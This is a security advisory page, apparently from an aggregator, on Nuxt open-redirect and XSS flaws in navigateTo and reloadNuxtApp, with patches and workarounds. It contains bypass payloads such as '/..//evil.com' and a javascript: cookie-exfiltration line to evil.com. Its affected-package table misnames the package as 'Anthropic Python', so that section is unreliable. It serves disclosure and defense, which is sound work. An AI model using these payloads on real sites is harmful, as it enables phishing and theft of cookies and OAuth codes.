GHSA-c9cv-mq2m-ppp3: Nuxt: open redirect + XSS in navigation API (SSR+client)

GHSA-c9cv-mq2m-ppp3 MEDIUM
Published June 16, 2026
CISO Take

Three URL-handling flaws in Nuxt's `navigateTo` and `reloadNuxtApp` APIs allow attackers to bypass the framework's built-in external-host guard via path-normalisation and protocol-relative tricks, enabling both server-side open redirects and reflected XSS in the application's own origin. With 5,435 downstream dependents and no EPSS data yet published, the blast radius is broad — any Nuxt-based AI application frontend that forwards user-controlled URLs (e.g., post-login `?next=` parameters or AI chat redirect flows) into these APIs is directly exposed to phishing, OAuth-token theft, and first-party script execution. No public exploit or active exploitation evidence exists and the CVE is not in CISA KEV, but the trivial exploitability of URL manipulation means opportunistic abuse against high-value targets (AI SaaS dashboards, LLM API portals) is plausible without any specialised tooling. Patch immediately to `nuxt@4.4.7` or `nuxt@3.21.7`; if patching is delayed, validate all redirect targets server-side by rejecting inputs where `new URL(target, 'http://localhost').pathname` starts with `//` and allowlisting only known-safe protocols before passing to these APIs.

Sources: GitHub Advisory ATLAS CISA KEV

What is the risk?

Medium overall, but escalated for AI application frontends. Exploitability is trivial — path-traversal URL encoding and protocol-relative paths are well-understood evasion patterns requiring no specialised knowledge. The XSS sink (sink 2) reaches the application's first-party origin, bypassing SameSite cookie protections and CSP if misconfigured. For AI SaaS products built on Nuxt — LLM API dashboards, compliance portals, AI security tools — open redirect in SSR context is especially dangerous because these apps commonly implement OAuth flows where a stolen code grants API-level access to the underlying AI service. The absence of KEV listing and public PoC keeps this from critical, but the 5,435 dependents and Nuxt's prevalence in modern AI application stacks make this a high-priority patch for teams running Nuxt-based AI frontends.

How does the attack unfold?

Malicious Link Delivery
Attacker crafts a URL on the legitimate AI application domain embedding a path-traversal sequence (e.g., `?next=/..//evil.com`) or javascript: payload and delivers it via email, chat, or social media to a targeted user.
AML.T0011.003
Validation Bypass
Nuxt's `hasProtocol` check passes the malformed input because it starts with `/`, but WHATWG URL normalisation resolves it to a protocol-relative or javascript: URL, bypassing the external-host guard entirely.
AML.T0049
Redirect or Script Execution
For redirect vectors: browser follows the normalised URL cross-origin to the attacker's phishing site. For XSS vector: `window.open('javascript:...')` executes in the application's first-party origin with access to cookies, localStorage, and stored API keys.
AML.T0048.003
Credential or Token Theft
Attacker harvests OAuth authorization codes (enabling AI service impersonation), session tokens, or LLM API keys stored in the browser, gaining persistent access to the victim's AI platform account.
AML.T0106

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Anthropic Python npm >= 4.0.0, < 4.4.7 4.4.7
3.6K 5.4K dependents Pushed 6d ago 91% patched ~2d to patch Full package profile →

Do you use Anthropic Python? You're affected.

How severe is it?

CVSS 3.1
N/A
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

What should I do?

4 steps
  1. PATCH (immediate): Upgrade to nuxt@4.4.7 (4.x users) or nuxt@3.21.7 (3.x users). Both fix all three sinks.

  2. WORKAROUND (if patch delayed): Before passing any user-controlled value to navigateTo or reloadNuxtApp, validate: reject inputs where new URL(input, 'http://localhost').pathname.startsWith('//'), enforce an allowlist of permitted post-login redirect paths (absolute paths only, no protocol-relative), and for navigateTo({ open }), allowlist protocols to ['http:', 'https:'] only.

  3. DETECT

    Audit codebase for any call pattern navigateTo(userInput) or reloadNuxtApp({ path: userInput }) where userInput derives from query params, URL fragments, or external data. Grep for navigateTo.*req\.query, navigateTo.*route\.query, reloadNuxtApp.*path.

  4. MONITOR

    Review server access logs for Location: headers containing // or %2e%2e sequences as post-patch verification that no bypass paths remain exposed.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Art. 9 - Risk management system
ISO 42001
A.9.3 - Security of AI system inputs
NIST AI RMF
GOVERN 1.7 - Processes for AI risk management are in place
OWASP LLM Top 10
LLM06:2025 - Excessive Agency

Frequently Asked Questions

What is GHSA-c9cv-mq2m-ppp3?

Three URL-handling flaws in Nuxt's `navigateTo` and `reloadNuxtApp` APIs allow attackers to bypass the framework's built-in external-host guard via path-normalisation and protocol-relative tricks, enabling both server-side open redirects and reflected XSS in the application's own origin. With 5,435 downstream dependents and no EPSS data yet published, the blast radius is broad — any Nuxt-based AI application frontend that forwards user-controlled URLs (e.g., post-login `?next=` parameters or AI chat redirect flows) into these APIs is directly exposed to phishing, OAuth-token theft, and first-party script execution. No public exploit or active exploitation evidence exists and the CVE is not in CISA KEV, but the trivial exploitability of URL manipulation means opportunistic abuse against high-value targets (AI SaaS dashboards, LLM API portals) is plausible without any specialised tooling. Patch immediately to `nuxt@4.4.7` or `nuxt@3.21.7`; if patching is delayed, validate all redirect targets server-side by rejecting inputs where `new URL(target, 'http://localhost').pathname` starts with `//` and allowlisting only known-safe protocols before passing to these APIs.

Is GHSA-c9cv-mq2m-ppp3 actively exploited?

No confirmed active exploitation of GHSA-c9cv-mq2m-ppp3 has been reported, but organizations should still patch proactively.

How to fix GHSA-c9cv-mq2m-ppp3?

1. PATCH (immediate): Upgrade to `nuxt@4.4.7` (4.x users) or `nuxt@3.21.7` (3.x users). Both fix all three sinks. 2. WORKAROUND (if patch delayed): Before passing any user-controlled value to `navigateTo` or `reloadNuxtApp`, validate: reject inputs where `new URL(input, 'http://localhost').pathname.startsWith('//')`, enforce an allowlist of permitted post-login redirect paths (absolute paths only, no protocol-relative), and for `navigateTo({ open })`, allowlist protocols to `['http:', 'https:']` only. 3. DETECT: Audit codebase for any call pattern `navigateTo(userInput)` or `reloadNuxtApp({ path: userInput })` where `userInput` derives from query params, URL fragments, or external data. Grep for `navigateTo.*req\.query`, `navigateTo.*route\.query`, `reloadNuxtApp.*path`. 4. MONITOR: Review server access logs for `Location:` headers containing `//` or `%2e%2e` sequences as post-patch verification that no bypass paths remain exposed.

What systems are affected by GHSA-c9cv-mq2m-ppp3?

This vulnerability affects the following AI/ML architecture patterns: AI SaaS web frontends (Nuxt SSR), LLM API dashboard portals, AI compliance reporting applications, OAuth-gated AI agent interfaces.

What is the CVSS score for GHSA-c9cv-mq2m-ppp3?

No CVSS score has been assigned yet.

What is the AI security impact?

Affected AI Architectures

AI SaaS web frontends (Nuxt SSR)LLM API dashboard portalsAI compliance reporting applicationsOAuth-gated AI agent interfaces

MITRE ATLAS Techniques

AML.T0011.003 Malicious Link
AML.T0048.003 User Harm
AML.T0049 Exploit Public-Facing Application
AML.T0052 Phishing
AML.T0106 Exploitation for Credential Access

Compliance Controls Affected

EU AI Act: Art. 9
ISO 42001: A.9.3
NIST AI RMF: GOVERN 1.7
OWASP LLM Top 10: LLM06:2025

What are the technical details?

Original Advisory

### Summary Three weaknesses in Nuxt's client-navigation URL handling, all reachable from documented public APIs (`navigateTo` and `reloadNuxtApp`): 1. **SSR open redirect in `navigateTo` via path-normalisation bypass.** `navigateTo` decided whether a target was external by inspecting the raw input with `hasProtocol(..., { acceptRelative: true })`. Inputs such as `/..//evil.com`, `/.//evil.com`, `/%2e%2e//evil.com`, or `/app/..//evil.com` slipped past that check because they start with `/`, but WHATWG URL parsing then normalised them to the protocol-relative pathname `//evil.com`. The normalised value was written to the `Location` response header and into the `<meta http-equiv="refresh">` body of the SSR redirect page, so a victim's browser would resolve the redirect cross-origin to the attacker's host. 2. **Client-side script execution via `navigateTo({ open: ... })`.** The client-side early-open handler called `window.open(toPath, ...)` without applying the `isScriptProtocol` check that gates the normal `navigateTo` path. A target of `javascript:...` (or another script-capable scheme) passed to `navigateTo(url, { open: { ... } })` therefore executed in the application's origin instead of being rejected. 3. **Open redirect in `reloadNuxtApp` via protocol-relative bypass.** `reloadNuxtApp({ path })` rejects script-capable protocols by parsing the path with `new URL(path, window.location.href)` and checking the resolved `protocol` against `isScriptProtocol`. Protocol-relative paths such as `//evil.com` resolve to the current page's protocol (`https:`), which passes that check; the value is then assigned to `window.location.href`, which the browser treats as a cross-origin redirect. This is the same protocol-relative bypass family as (1), in a different sink. ### Impact For (1), the practical risk is phishing or OAuth-code theft against any Nuxt app that forwards user-controlled input (for example a `?next=` query parameter on a login route) into `navigateTo` on the server. The framework documents that `navigateTo` blocks external hosts unless `external: true` is passed, so maintainers commonly rely on it as the safe path for post-login redirects. For (2), any app that passes a user-controlled URL into `navigateTo(url, { open: { ... } })` was vulnerable to reflected XSS in the application's first-party origin. For (3), any app that forwards user-controlled input into `reloadNuxtApp({ path })` could be redirected cross-origin for phishing or OAuth-code theft, even on releases that already shipped the `isScriptProtocol` guard added by [#35115](https://github.com/nuxt/nuxt/pull/35115). ### Patches Fixed in `nuxt@4.4.7` and backported to `nuxt@3.21.7`. The three sinks are addressed by: - Path-normalisation bypass in `navigateTo`: - 4.x: commit [`2cce6fb0`](https://github.com/nuxt/nuxt/commit/2cce6fb02e621196d56df92e05594e07469b5a6d) - 3.x: commit [`1f2dd5e7`](https://github.com/nuxt/nuxt/commit/1f2dd5e78c77576437138e97671965573c232835) - `navigateTo({ open })` script-protocol guard: - 4.x: [#35206](https://github.com/nuxt/nuxt/pull/35206) (commit [`3394716d`](https://github.com/nuxt/nuxt/commit/3394716d4a913cba904b028df5338f2aead50032)) - 3.x: commit [`62fc32ed`](https://github.com/nuxt/nuxt/commit/62fc32eddf648b00a3890141e0235d2a222b024d) - Protocol-relative bypass in `reloadNuxtApp`: - 4.x: commit [`e447a793`](https://github.com/nuxt/nuxt/commit/e447a793c47766834f7497f8412a76cd56fd8ee1) - 3.x: commit [`6497d99d`](https://github.com/nuxt/nuxt/commit/6497d99dd106254abd089f6a263d7773869a343b) ### Workarounds - For (1): validate redirect targets before passing them to `navigateTo`, for example reject any input where `new URL(target, 'http://localhost').pathname` starts with `//`, or only accept a known allow-list of paths. - For (2): reject any user-controlled URL whose protocol is not in an allow-list (typically just `http:` and `https:`) before passing it to `navigateTo({ open: ... })`. - For (3): same shape as (1). Reject paths starting with `//` (or where `new URL(path, window.location.href).host !== window.location.host`) before passing to `reloadNuxtApp({ path })`. ### References - CWE-601: URL Redirection to Untrusted Site ('Open Redirect') - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') ### Credits Reported by Anthropic / Claude as `ANT-2026-S08HN6DH` through Anthropic's coordinated vulnerability disclosure programme. The `reloadNuxtApp` protocol-relative bypass (sink 3) was independently reported by [@alcls01111](https://github.com/alcls01111) via GitHub's coordinated disclosure flow (`GHSA-w7fp-2cfv-4837`), closed as a duplicate of this advisory.

Exploitation Scenario

An attacker targeting an AI compliance SaaS dashboard built on Nuxt constructs a phishing URL such as `https://ai-dashboard.example.com/login?next=/..//evil.com/steal`. When a CISO clicks the link, the SSR `navigateTo` call processes `?next=` and passes it to `hasProtocol` with `acceptRelative: true` — the leading `/` fools the guard, but WHATWG URL normalisation resolves it to `//evil.com/steal`. The server writes this value into the `Location: //evil.com/steal` response header. The victim's browser resolves the protocol-relative URL to `https://evil.com/steal`, which serves a cloned login page capturing the user's session or — more impactfully in an OAuth flow — stealing the authorization code returned by the identity provider, granting the attacker full API access to the underlying AI service. Separately, for the XSS vector, an attacker social-engineers a developer into opening a crafted URL containing `navigateTo('javascript:fetch("https://evil.com/?"+document.cookie)', { open: {} })`, executing arbitrary JS in the application's first-party origin and exfiltrating stored LLM API keys.

Weaknesses (CWE)

CWE-601 — URL Redirection to Untrusted Site ('Open Redirect'): The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.

  • [Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
  • [Architecture and Design] Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.

Source: MITRE CWE corpus.

Timeline

Published
June 16, 2026
Last Modified
June 16, 2026
First Seen
June 16, 2026

Related Vulnerabilities